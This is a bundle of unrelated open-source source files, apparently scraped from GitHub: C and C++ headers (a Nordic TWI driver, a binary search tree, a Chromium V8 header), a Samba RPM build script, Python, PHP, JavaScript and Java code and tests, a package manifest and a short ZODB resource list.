BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifndef NRFX_TWI_H__ #define NRFX_TWI_H__ #include <nrfx.h> #include <hal/nrf_twi.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup nrfx_twi TWI driver * @{ * @ingroup nrf_twi * @brief Two Wire Interface master (TWI) peripheral driver. */ /** * @brief Structure for the TWI master driver instance. */ typedef struct { NRF_TWI_Type * p_twi; ///< Pointer to a structure with TWI registers. uint8_t drv_inst_idx; ///< Index of the driver instance. For internal use only. } nrfx_twi_t; /** @brief Macro for creating a TWI master driver instance. */ #define NRFX_TWI_INSTANCE(id) \ { \ .p_twi = NRFX_CONCAT_2(NRF_TWI, id), \ .drv_inst_idx = NRFX_CONCAT_3(NRFX_TWI, id, _INST_IDX), \ } #ifndef __NRFX_DOXYGEN__ enum { #if NRFX_CHECK(NRFX_TWI0_ENABLED) NRFX_TWI0_INST_IDX, #endif #if NRFX_CHECK(NRFX_TWI1_ENABLED) NRFX_TWI1_INST_IDX, #endif NRFX_TWI_ENABLED_COUNT }; #endif /** @brief Structure for the configuration of the TWI master driver instance. */ typedef struct { uint32_t scl; ///< SCL pin number. uint32_t sda; ///< SDA pin number. nrf_twi_frequency_t frequency; ///< TWI frequency. uint8_t interrupt_priority; ///< Interrupt priority. bool hold_bus_uninit; ///< Hold pull up state on GPIO pins after uninit. } nrfx_twi_config_t; /** @brief The default configuration of the TWI master driver instance. */ #define NRFX_TWI_DEFAULT_CONFIG \ { \ .frequency = (nrf_twi_frequency_t)NRFX_TWI_DEFAULT_CONFIG_FREQUENCY, \ .scl = 31, \ .sda = 31, \ .interrupt_priority = NRFX_TWI_DEFAULT_CONFIG_IRQ_PRIORITY, \ .hold_bus_uninit = NRFX_TWI_DEFAULT_CONFIG_HOLD_BUS_UNINIT, \ } /** @brief Flag indicating that the interrupt after each transfer will be suppressed, and the event handler will not be called. */ #define NRFX_TWI_FLAG_NO_XFER_EVT_HANDLER (1UL << 2) /** @brief Flag indicating that the TX transfer will not end with a stop condition. */ #define NRFX_TWI_FLAG_TX_NO_STOP (1UL << 5) /** @brief TWI master driver event types. */ typedef enum { NRFX_TWI_EVT_DONE, ///< Transfer completed event. NRFX_TWI_EVT_ADDRESS_NACK, ///< Error event: NACK received after sending the address. NRFX_TWI_EVT_DATA_NACK ///< Error event: NACK received after sending a data byte. } nrfx_twi_evt_type_t; /** @brief TWI master driver transfer types. */ typedef enum { NRFX_TWI_XFER_TX, ///< TX transfer. NRFX_TWI_XFER_RX, ///< RX transfer. NRFX_TWI_XFER_TXRX, ///< TX transfer followed by RX transfer with repeated start. NRFX_TWI_XFER_TXTX ///< TX transfer followed by TX transfer with repeated start. } nrfx_twi_xfer_type_t; /** @brief Structure for a TWI transfer descriptor. */ typedef struct { nrfx_twi_xfer_type_t type; ///< Type of transfer. uint8_t address; ///< Slave address. size_t primary_length; ///< Number of bytes transferred. size_t secondary_length; ///< Number of bytes transferred. uint8_t * p_primary_buf; ///< Pointer to transferred data. uint8_t * p_secondary_buf; ///< Pointer to transferred data. } nrfx_twi_xfer_desc_t; /** @brief Macro for setting the TX transfer descriptor. */ #define NRFX_TWI_XFER_DESC_TX(addr, p_data, length) \ { \ .type = NRFX_TWI_XFER_TX, \ .address = addr, \ .primary_length = length, \ .secondary_length = 0, \ .p_primary_buf = p_data, \ .p_secondary_buf = NULL, \ } /** @brief Macro for setting the RX transfer descriptor. */ #define NRFX_TWI_XFER_DESC_RX(addr, p_data, length) \ { \ .type = NRFX_TWI_XFER_RX, \ .address = addr, \ .primary_length = length, \ .secondary_length = 0, \ .p_primary_buf = p_data, \ .p_secondary_buf = NULL, \ } /** @brief Macro for setting the TX-RX transfer descriptor. */ #define NRFX_TWI_XFER_DESC_TXRX(addr, p_tx, tx_len, p_rx, rx_len) \ { \ .type = NRFX_TWI_XFER_TXRX, \ .address = addr, \ .primary_length = tx_len, \ .secondary_length = rx_len, \ .p_primary_buf = p_tx, \ .p_secondary_buf = p_rx, \ } /** @brief Macro for setting the TX-TX transfer descriptor. */ #define NRFX_TWI_XFER_DESC_TXTX(addr, p_tx, tx_len, p_tx2, tx_len2) \ { \ .type = NRFX_TWI_XFER_TXTX, \ .address = addr, \ .primary_length = tx_len, \ .secondary_length = tx_len2, \ .p_primary_buf = p_tx, \ .p_secondary_buf = p_tx2, \ } /** @brief Structure for a TWI event. */ typedef struct { nrfx_twi_evt_type_t type; ///< Event type. nrfx_twi_xfer_desc_t xfer_desc; ///< Transfer details. } nrfx_twi_evt_t; /** @brief TWI event handler prototype. */ typedef void (* nrfx_twi_evt_handler_t)(nrfx_twi_evt_t const * p_event, void * p_context); /** * @brief Function for initializing the TWI driver instance. * * @param[in] p_instance Pointer to the driver instance structure. * @param[in] p_config Pointer to the structure with the initial configuration. * @param[in] event_handler Event handler provided by the user. If NULL, blocking mode is enabled. * @param[in] p_context Context passed to event handler. * * @retval NRFX_SUCCESS Initialization is successful. * @retval NRFX_ERROR_INVALID_STATE The driver is in invalid state. * @retval NRFX_ERROR_BUSY Some other peripheral with the same * instance ID is already in use. This is * possible only if @ref nrfx_prs module * is enabled. */ nrfx_err_t nrfx_twi_init(nrfx_twi_t const * p_instance, nrfx_twi_config_t const * p_config, nrfx_twi_evt_handler_t event_handler, void * p_context); /** * @brief Function for uninitializing the TWI instance. * * @param[in] p_instance Pointer to the driver instance structure. */ void nrfx_twi_uninit(nrfx_twi_t const * p_instance); /** * @brief Function for enabling the TWI instance. * * @param[in] p_instance Pointer to the driver instance structure. */ void nrfx_twi_enable(nrfx_twi_t const * p_instance); /** * @brief Function for disabling the TWI instance. * * @param[in] p_instance Pointer to the driver instance structure. */ void nrfx_twi_disable(nrfx_twi_t const * p_instance); /** * @brief Function for sending data to a TWI slave. * * The transmission will be stopped when an error occurs. If a transfer is ongoing, * the function returns the error code @ref NRFX_ERROR_BUSY. * * @param[in] p_instance Pointer to the driver instance structure. * @param[in] address Address of a specific slave device (only 7 LSB). * @param[in] p_data Pointer to a transmit buffer. * @param[in] length Number of bytes to send. * @param[in] no_stop If set, the stop condition is not generated on the bus * after the transfer has completed successfully (allowing * for a repeated start in the next transfer). * * @retval NRFX_SUCCESS The procedure is successful. * @retval NRFX_ERROR_BUSY The driver is not ready for a new transfer. * @retval NRFX_ERROR_INTERNAL An error is detected by hardware. * @retval NRFX_ERROR_DRV_TWI_ERR_ANACK NACK is received after sending the address in polling mode. * @retval NRFX_ERROR_DRV_TWI_ERR_DNACK NACK is received after sending a data byte in polling mode. */ nrfx_err_t nrfx_twi_tx(nrfx_twi_t const * p_instance, uint8_t address, uint8_t const * p_data, size_t length, bool no_stop); /** * @brief Function for reading data from a TWI slave. * * The transmission will be stopped when an error occurs. If a transfer is ongoing, * the function returns the error code @ref NRFX_ERROR_BUSY. * * @param[in] p_instance Pointer to the driver instance structure. * @param[in] address Address of a specific slave device (only 7 LSB). * @param[in] p_data Pointer to a receive buffer. * @param[in] length Number of bytes to be received. * * @retval NRFX_SUCCESS The procedure is successful. * @retval NRFX_ERROR_BUSY The driver is not ready for a new transfer. * @retval NRFX_ERROR_INTERNAL An error is detected by hardware. * @retval NRFX_ERROR_DRV_TWI_ERR_OVERRUN The unread data is replaced by new data. * @retval NRFX_ERROR_DRV_TWI_ERR_ANACK NACK is received after sending the address in polling mode. * @retval NRFX_ERROR_DRV_TWI_ERR_DNACK NACK is received after sending a data byte in polling mode. */ nrfx_err_t nrfx_twi_rx(nrfx_twi_t const * p_instance, uint8_t address, uint8_t * p_data, size_t length); /** * @brief Function for preparing a TWI transfer. * * The following transfer types can be configured (@ref nrfx_twi_xfer_desc_t::type): * - @ref NRFX_TWI_XFER_TXRX - Write operation followed by a read operation (without STOP condition in between). * - @ref NRFX_TWI_XFER_TXTX - Write operation followed by a write operation (without STOP condition in between). * - @ref NRFX_TWI_XFER_TX - Write operation (with or without STOP condition). * - @ref NRFX_TWI_XFER_RX - Read operation (with STOP condition). * * @note TX-RX and TX-TX transfers are supported only in non-blocking mode. * * Additional options are provided using the flags parameter: * - @ref NRFX_TWI_FLAG_NO_XFER_EVT_HANDLER - No user event handler after transfer completion. In most cases, this also means no interrupt at the end of the transfer. * - @ref NRFX_TWI_FLAG_TX_NO_STOP - No stop condition after TX transfer. * * @note * Some flag combinations are invalid: * - @ref NRFX_TWI_FLAG_TX_NO_STOP with @ref nrfx_twi_xfer_desc_t::type different than @ref NRFX_TWI_XFER_TX * * @param[in] p_instance Pointer to the driver instance structure. * @param[in] p_xfer_desc Pointer to the transfer descriptor. * @param[in] flags Transfer options (0 for default settings). * * @retval NRFX_SUCCESS The procedure is successful. * @retval NRFX_ERROR_BUSY The driver is not ready for a new transfer. * @retval NRFX_ERROR_NOT_SUPPORTED The provided parameters are not supported. * @retval NRFX_ERROR_INTERNAL An error is detected by hardware. * @retval NRFX_ERROR_DRV_TWI_ERR_OVERRUN The unread data is replaced by new data (TXRX and RX) * @retval NRFX_ERROR_DRV_TWI_ERR_ANACK NACK is received after sending the address. * @retval NRFX_ERROR_DRV_TWI_ERR_DNACK NACK is received after sending a data byte. */ nrfx_err_t nrfx_twi_xfer(nrfx_twi_t const * p_instance, nrfx_twi_xfer_desc_t const * p_xfer_desc, uint32_t flags); /** * @brief Function for checking the TWI driver state. * * @param[in] p_instance TWI instance. * * @retval true The TWI driver is currently busy performing a transfer. * @retval false The TWI driver is ready for a new transfer. */ bool nrfx_twi_is_busy(nrfx_twi_t const * p_instance); /** * @brief Function for getting the transferred data count. * * @param[in] p_instance Pointer to the driver instance structure. * * @return Data count. */ size_t nrfx_twi_data_count_get(nrfx_twi_t const * const p_instance); /** * @brief Function for returning the address of a STOPPED TWI event. * * A STOPPED event can be used to detect the end of a transfer if the @ref NRFX_TWI_FLAG_NO_XFER_EVT_HANDLER * option is used. * * @param[in] p_instance Pointer to the driver instance structure. * * @return STOPPED event address. */ uint32_t nrfx_twi_stopped_event_get(nrfx_twi_t const * p_instance); /** @} */ void nrfx_twi_0_irq_handler(void); void nrfx_twi_1_irq_handler(void); #ifdef __cplusplus } #endif #endif // NRFX_TWI_H__
{ "pile_set_name": "Github" }
/***************************************** Copyright 2008 Google Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. *****************************************/ /** @file bstree.h * @brief interface for the binary search tree library. * * This is a library which provides binary search tree functionality. */ #ifndef BSTREE_H #define BSTREE_H /** @brief specifies a tree traversal order */ typedef enum { preorder, /**< @brief traverse the tree preorder */ inorder, /**< @brief traverse the tree inorder */ postorder, /**< @brief traverse the tree postorder */ breadthfirst /**< @brief traverse the tree breadth-first */ } traversal_order_t; /** @brief indicates the balance status of a binary tree node. * While a node's balance factor is visible to the user, it is * only used internally to keep the tree balanced during inserts * and deletes. */ typedef enum { leftheavy, /**< indicates that the node needs rotated right. */ balanced, /**< indicates that the node is in balance */ rightheavy /**< indicates that the node needs rotated left. */ } node_balance_t; /** @brief a node in a binary search tree. */ typedef struct _bst_node { struct _bst_node *l; /**< @brief child to the left. the left child's data is equal to or less than this node. */ struct _bst_node *r; /**< @brief child to the right. the right child's data is greater than this node. */ struct _bst_node *parent; /**< @brief parent of this node. */ void *data; /**< @brief payload data. */ node_balance_t balance; /**< @brief the balance status of this node. */ } bst_node_t; /** @brief binary search tree data type. */ typedef struct _bstree { bst_node_t * root; /**< @brief root node of the tree. */ /** @brief function for comparing node data. Return values are like those * for strcmp(). */ int (*cmp) (const void *, const void *); void (*free) (void *); /**< @brief function to free node data. */ } bstree_t; /** @brief initializes a binary search tree. the tree should be allocated * already. * * @param tree an allocated, but otherwise uninitialized binary search tree. * @param cmp function to compare node data, where a return value of 0 indicates * equality, < 0 means the first param is less than the second, and > 0 means * that the first param is greater than the second. * @param free function to free node data when the tree is destroyed. specify * NULL if the data should not be freed. * * @return 0 on success, or -1 if cmp is NULL. */ int bst_init(bstree_t * tree, int (*cmp) (const void *, const void *), void (*free) (void *)); /** @brief frees all memory associated with a binary search tree. * * @param tree the tree to be destroyed. */ void bst_destroy(bstree_t * tree); /** @brief creates a child of the specified parent node containing the given data. * * @param tree the binary search tree in which the parent and child reside. * @param parent the parent of the new node, or NULL if the new node will be the tree's root. * @param data the data to store in the new node. * * @return NULL if the parent node already has a child in the direction where * the new node would go or if there is a memory error, else a pointer to the * new node. */ bst_node_t * bst_create_child(bstree_t * tree, bst_node_t * parent, void *data); /** @brief inserts a node containing specified data into a binary search tree. * * @param tree the tree in which the data should be inserted. * @param data the data to insert. * * @return a pointer to the new node */ bst_node_t * bst_insert(bstree_t * tree, void *data); /** @brief deletes a node containing specified data from a binary search tree. * * @param tree the tree from which the data should be deleted. * @param data the data to find and remove. */ void bst_delete(bstree_t * tree, void *data); /** @brief finds the node in a binary search tree containing the specified data. * @param tree the tree contianing the data. * @param data the data to be found. * @return the node containing the specified data, or NULL if not found. */ bst_node_t * bst_find(bstree_t * tree, void *data); /** @brief traverses a binary search tree in the indicated order, calling the * specified function for each data item in the tree. * * @param tree the tree to be traversed. * @param func the function to be executed. * @param order the order in which the tree should be traversed. */ void bst_call_for_each(bstree_t * tree, void (*func) (void *), traversal_order_t order); /** @brief traverses a (sub)tree in the indicated order, calling the specified * function for each data item in the tree. * * @param node root of the (sub)tree to be traversed. * @param func the function to be executed. * @param order the order in which the tree should be traversed. */ void bstn_call_for_each(bst_node_t * node, void (*func) (void *), traversal_order_t order); /** @brief traverses a binary search tree in the indicated order, calling the * specified function for each data item in the tree. * * @param tree the tree to be traversed. * @param func the function to be executed. * @param data extra data to pass as the 2nd argument to func. * @param order the order in which the tree should be traversed. */ void bst_call_for_each2(bstree_t * tree, void (*func) (void *, void *), void * data, traversal_order_t order); /** @brief traverses a (sub)tree in the indicated order, calling the specified * function for each data item in the tree. * * @param node root of the (sub)tree to be traversed. * @param func the function to be executed. * @param data extra data to pass as the 2nd argument to func. * @param order the order in which the tree should be traversed. */ void bstn_call_for_each2(bst_node_t * node, void (*func) (void *, void *), void * data, traversal_order_t order); #endif /* BSTREE_H */
{ "pile_set_name": "Github" }
#!/bin/sh # Copyright (C) John H Terpstra 1998-2002 # Copyright (C) Gerald (Jerry) Carter 2003 # Copyright (C) Michael Adam 2008 # Script to build RPMs for RHEL from inside a git checkout. # The following allows environment variables to override the target directories # the alternative is to have a file in your home directory calles .rpmmacros # containing the following: # %_topdir /home/mylogin/redhat # # Note: Under this directory rpm expects to find the same directories # that are under the /usr/src/redhat directory. # extra options passed to rpmbuild EXTRA_OPTIONS="$1" RPMSPECDIR=`rpm --eval %_specdir` RPMSRCDIR=`rpm --eval %_sourcedir` RPMBUILDDIR=`rpm --eval %_builddir` # At this point the RPMSPECDIR and RPMSRCDIR variables must have a value! DIRNAME=$(dirname $0) TOPDIR=${DIRNAME}/../.. SPECFILE="samba.spec" RPMVER=`rpm --version | awk '{print $3}'` test -z "$RPMVER" && { RPMVER=`rpm --version | awk '{print $2}'` } RPM="rpmbuild" ## ## Check the RPM version (paranoid) ## case $RPMVER in 4*) echo "Supported RPM version [$RPMVER]" ;; *) echo "Unknown RPM version: `rpm --version`" exit 1 ;; esac mkdir -p `rpm --eval %_specdir` mkdir -p `rpm --eval %_sourcedir` mkdir -p `rpm --eval %_builddir` mkdir -p `rpm --eval %_srcrpmdir` mkdir -p `rpm --eval %_rpmdir`/noarch mkdir -p `rpm --eval %_rpmdir`/i386 mkdir -p `rpm --eval %_rpmdir`/x86_64 ## ## Delete the old debuginfo remnants: ## ## At least on RHEL 5.5, we observed broken debuginfo packages ## when either old build directories were still present or old ## debuginfo packages (of samba) were installed. ## ## Remove the debuginfo samba RPMs and old RPM build ## directories, giving the user a 10 second chance to quit. ## if rpm -qa | grep -q samba-debuginfo || test -n "$(echo ${RPMBUILDDIR}/samba* | grep -v \*)" ; then echo "Removing debuginfo remnants to fix debuginfo build:" if rpm -qa | grep -q samba-debuginfo ; then echo "Uninstalling the samba-debuginfo RPM" echo -n "Press Control-C if you want to quit (you have 10 seconds)" for count in $(seq 1 10) ; do echo -n "." sleep 1 done echo echo "That was your chance... :-)" rpm -e samba-debuginfo fi if test -n "$(echo ${RPMBUILDDIR}/samba* | grep -v \*)" ; then echo "Deleting ${RPMBUILDDIR}/samba*" echo -n "Press Control-C if you want to quit (you have 10 seconds)" for count in $(seq 1 10) ; do echo -n "." sleep 1 done echo echo "That was your chance... :-)" rm -rf ${RPMBUILDDIR}/samba* fi fi ## ## determine the samba version and create the SPEC file ## ${DIRNAME}/makespec.sh RC=$? if [ $RC -ne 0 ]; then exit ${RC} fi RELEASE=$(grep ^Release ${DIRNAME}/${SPECFILE} | sed -e 's/^Release:\ \+//') VERSION=$(grep ^Version ${DIRNAME}/${SPECFILE} | sed -e 's/^Version:\ \+//') ## ## create the tarball ## pushd ${TOPDIR} echo -n "Creating samba-${VERSION}.tar.bz2 ... " git archive --prefix=samba-${VERSION}/ HEAD | bzip2 > ${RPMSRCDIR}/samba-${VERSION}.tar.bz2 RC=$? popd echo "Done." if [ $RC -ne 0 ]; then echo "Build failed!" exit 1 fi ## ## copy additional source files ## pushd ${DIRNAME} chmod 755 setup/filter-requires-samba.sh tar --exclude=.svn -jcvf - setup > ${RPMSRCDIR}/setup.tar.bz2 cp -p ${SPECFILE} ${RPMSPECDIR} popd ## ## some symlink fixes for building 32bit compat libs ## if [ `arch` = "x86_64" ]; then ln -sf /lib/libcom_err.so.2 /lib/libcom_err.so ln -sf /lib/libuuid.so.1 /lib/libuuid.so fi ## ## Build ## echo "$(basename $0): Getting Ready to build release package" case ${EXTRA_OPTIONS} in *-b*) BUILD_TARGET="" ;; *) BUILD_TARGET="-ba" ;; esac pushd ${RPMSPECDIR} ${RPM} ${BUILD_TARGET} ${EXTRA_OPTIONS} ${SPECFILE} popd echo "$(basename $0): Done."
{ "pile_set_name": "Github" }
import inspect def mixin(cls): """ mixes-in a class (or a module) into another class. must be called from within a class definition. `cls` is the class/module to mix-in """ locals = inspect.stack()[1][0].f_locals if "__module__" not in locals: raise TypeError("mixin() must be called from within a class definition") # copy the class's dict aside and perform some tweaking dict = cls.__dict__.copy() dict.pop("__doc__", None) dict.pop("__module__", None) # __slots__ hell slots = dict.pop("__slots__", []) if slots and "__slots__" not in locals: locals["__slots__"] = ["__dict__"] for name in slots: if name.startswith("__") and not name.endswith("__"): name = "_%s%s" % (cls.__name__, name) dict.pop(name) locals["__slots__"].append(name) # mix the namesapces locals.update(dict) # # example # >>> class SomeMixin(object): ... def f(self, x): ... return self.y + x ... >>> class AnotherMixin(object): ... def g(self): ... print "g" ... >>> >>> class Foo(object): ... mixin(SomeMixin) ... mixin(AnotherMixin) ... ... def h(self): ... print "h" ...
{ "pile_set_name": "Github" }
{ "name": "q", "version": "1.1.1", "description": "A library for promises (CommonJS/Promises/A,B,D)", "homepage": "https://github.com/kriskowal/q", "author": "Kris Kowal <[email protected]> (https://github.com/kriskowal)", "keywords": [ "q", "promise", "promises", "promises-a", "promises-aplus", "deferred", "future", "async", "flow control", "fluent", "browser", "node" ], "contributors": [ "Kris Kowal <[email protected]> (https://github.com/kriskowal)", "Irakli Gozalishvili <[email protected]> (http://jeditoolkit.com)", "Domenic Denicola <[email protected]> (http://domenicdenicola.com)" ], "bugs": { "mail": "[email protected]", "url": "http://github.com/kriskowal/q/issues" }, "license": { "type": "MIT", "url": "http://github.com/kriskowal/q/raw/master/LICENSE" }, "main": "q.js", "repository": { "type": "git", "url": "git://github.com/kriskowal/q.git" }, "engines": { "node": ">=0.6.0", "teleport": ">=0.2.0" }, "dependencies": {}, "devDependencies": { "jshint": "~2.1.9", "cover": "*", "jasmine-node": "1.11.0", "opener": "*", "promises-aplus-tests": "1.x", "grunt": "~0.4.1", "grunt-cli": "~0.1.9", "grunt-contrib-uglify": "~0.2.2", "matcha": "~0.2.0" }, "scripts": { "test": "jasmine-node spec && promises-aplus-tests spec/aplus-adapter", "test-browser": "opener spec/q-spec.html", "benchmark": "matcha", "lint": "jshint q.js", "cover": "cover run node_modules/jasmine-node/bin/jasmine-node spec && cover report html && opener cover_html/index.html", "minify": "grunt", "prepublish": "grunt" }, "overlay": { "teleport": { "dependencies": { "system": ">=0.0.4" } } }, "directories": { "test": "./spec" } }
{ "pile_set_name": "Github" }
--TEST-- Closure 056: self::class in non-static closure in static method. --FILE-- <?php class A { static function foo() { $f = function() { return self::class; }; return $f(); } } class B extends A {} var_dump(B::foo()); ?> --EXPECT-- string(1) "A"
{ "pile_set_name": "Github" }
import expect from 'expect.js'; import { getServices, chance, assertSinonMatch //assertDocMissingResponse } from './lib'; export function indexMissingSuite() { beforeEach(async function () { const { kbnServer } = getServices(); await kbnServer.server.plugins.elasticsearch.waitUntilReady(); }); function getNumberOfShards(index) { return parseInt(Object.values(index)[0].settings.index.number_of_shards, 10); } async function getIndex(callCluster, indexName) { return await callCluster('indices.get', { index: indexName, }); } async function setup() { const { callCluster, kbnServer } = getServices(); const indexName = kbnServer.config.get('kibana.index'); const initialIndex = await getIndex(callCluster, indexName); await callCluster('indices.delete', { index: indexName, }); return { kbnServer, // an incorrect number of shards is how we determine when the index was not created by Kibana, // but automatically by writing to es when index didn't exist async assertInvalidKibanaIndex() { const index = await getIndex(callCluster, indexName); expect(getNumberOfShards(index)) .to.not.be(getNumberOfShards(initialIndex)); } }; } afterEach(async () => { const { kbnServer, callCluster } = getServices(); await callCluster('indices.delete', { index: kbnServer.config.get('kibana.index'), ignore: 404 }); }); describe('get route', () => { it('returns a 200 and with empty values', async () => { const { kbnServer } = await setup(); const { statusCode, result } = await kbnServer.inject({ method: 'GET', url: '/api/kibana/settings' }); expect(statusCode).to.be(200); expect(result).to.eql({ settings: {} }); }); }); describe('set route', () => { // kibi: title changed // from: "creates an invalid Kibana index and returns a 404 document missing error" // to: "creates a valid Kibi index and returns a 200" it('creates a valid Kibi index and returns a 200', async () => { const { kbnServer, assertInvalidKibanaIndex } = await setup(); // kibi: in kibi if config does not exists it gets created and we return 200 // so we use assertSinonMatch instead of assertInvalidKibanaIndex const word = chance.word(); const { statusCode, result } = await kbnServer.inject({ method: 'POST', url: '/api/kibana/settings/defaultIndex', payload: { value: word } }); expect(statusCode).to.be(200); assertSinonMatch(result, { settings: { defaultIndex: { userValue: word } } }); // kibi: end }); }); describe('setMany route', () => { // kibi: title changed // from: "creates an invalid Kibana index and returns a 404 document missing error" // to: "creates a valid Kibi index and returns a 200" it('creates a valid Kibi index and returns a 200', async () => { const { kbnServer, assertInvalidKibanaIndex } = await setup(); // kibi: in kibi if config does not exists it gets created and we return 200 // so we use assertSinonMatch instead of assertInvalidKibanaIndex const word = chance.word(); const { statusCode, result } = await kbnServer.inject({ method: 'POST', url: '/api/kibana/settings', payload: { changes: { defaultIndex: word } } }); expect(statusCode).to.be(200); assertSinonMatch(result, { settings: { defaultIndex: { userValue: word } } }); // kibi: end }); }); describe('delete route', () => { // kibi: title changed // from: "creates an invalid Kibana index and returns a 404 document missing error" // to: "creates a valid Kibi index and returns a 200" it('creates a valid Kibi index and returns a 200', async () => { const { kbnServer, assertInvalidKibanaIndex } = await setup(); // kibi: in kibi if config does not exists it gets created and we return 200 // so we use assertSinonMatch instead of assertInvalidKibanaIndex const word = chance.word(); const { statusCode, result } = await kbnServer.inject({ method: 'DELETE', url: '/api/kibana/settings/defaultIndex' }); expect(statusCode).to.be(200); assertSinonMatch(result, { settings: {} }); // kibi: end }); }); }
{ "pile_set_name": "Github" }
/** * Licensed to Jasig under one or more contributor license agreements. See the NOTICE file * distributed with this work for additional information regarding copyright ownership. Jasig * licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use * this file except in compliance with the License. You may obtain a copy of the License at: * * <p>http://www.apache.org/licenses/LICENSE-2.0 * * <p>Unless required by applicable law or agreed to in writing, software distributed under the * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing permissions and * limitations under the License. */ package org.apereo.portal.portlet.registry; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import org.junit.Test; public class PortletEntityIdStringUtilsTest { @Test public void isDelegateLayoutNode() { boolean result = PortletEntityIdStringUtils.isDelegateLayoutNode("dlg-5-ctf1-18_18"); assertTrue(result); result = PortletEntityIdStringUtils.isDelegateLayoutNode("88_n149_52"); assertFalse(result); } @Test public void hasCorrectNumberOfPartsTest() { boolean result = PortletEntityIdStringUtils.hasCorrectNumberOfParts("88_n149_52"); assertTrue(result); } @Test public void parsePortletDefinitionId() { String portletDefinitionId = PortletEntityIdStringUtils.parsePortletDefinitionId("88_n149_52"); assertEquals(portletDefinitionId, "88"); } @Test public void parseLayoutNodeId() { String layoutNodeId = PortletEntityIdStringUtils.parseLayoutNodeId("88_n149_52"); assertEquals(layoutNodeId, "n149"); } @Test public void parseUserIdAsString() { String layoutNodeId = PortletEntityIdStringUtils.parseUserIdAsString("88_n149_52"); assertEquals(layoutNodeId, "52"); } }
{ "pile_set_name": "Github" }
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef THIRD_PARTY_BLINK_RENDERER_BINDINGS_MODULES_V8_V8_CONTEXT_SNAPSHOT_EXTERNAL_REFERENCES_H_ #define THIRD_PARTY_BLINK_RENDERER_BINDINGS_MODULES_V8_V8_CONTEXT_SNAPSHOT_EXTERNAL_REFERENCES_H_ #include <cstdint> #include "third_party/blink/renderer/modules/modules_export.h" #include "third_party/blink/renderer/platform/wtf/allocator/allocator.h" namespace blink { // V8ContextSnapshotExternalReferences::GetTable() provides a table of pointers // of C++ callbacks exposed to V8. The table contains C++ callbacks for DOM // attribute getters, setters, DOM methods, wrapper type info etc. class MODULES_EXPORT V8ContextSnapshotExternalReferences { STATIC_ONLY(V8ContextSnapshotExternalReferences); public: // The definition of this method is auto-generated in // v8_context_snapshot_external_references.cc. static const intptr_t* GetTable(); }; } // namespace blink #endif // THIRD_PARTY_BLINK_RENDERER_BINDINGS_MODULES_V8_V8_CONTEXT_SNAPSHOT_EXTERNAL_REFERENCES_H_
{ "pile_set_name": "Github" }
.. % links.tex .. % Collection of relevant links Resources ========= Introduction to the Zope Object Database, by Jim Fulton: --- Goes into much greater detail, explaining advanced uses of the ZODB and how it's actually implemented. A definitive reference, and highly recommended. --- `<http://www.python.org/workshops/2000-01/proceedings/papers/fulton/zodb3.html>`_ Persistent Programing with ZODB, by Jeremy Hylton and Barry Warsaw: --- Slides for a tutorial presented at the 10th Python conference. Covers much of the same ground as this guide, with more details in some areas and less in others. --- `<http://www.zope.org/Members/bwarsaw/ipc10-slides>`_
{ "pile_set_name": "Github" }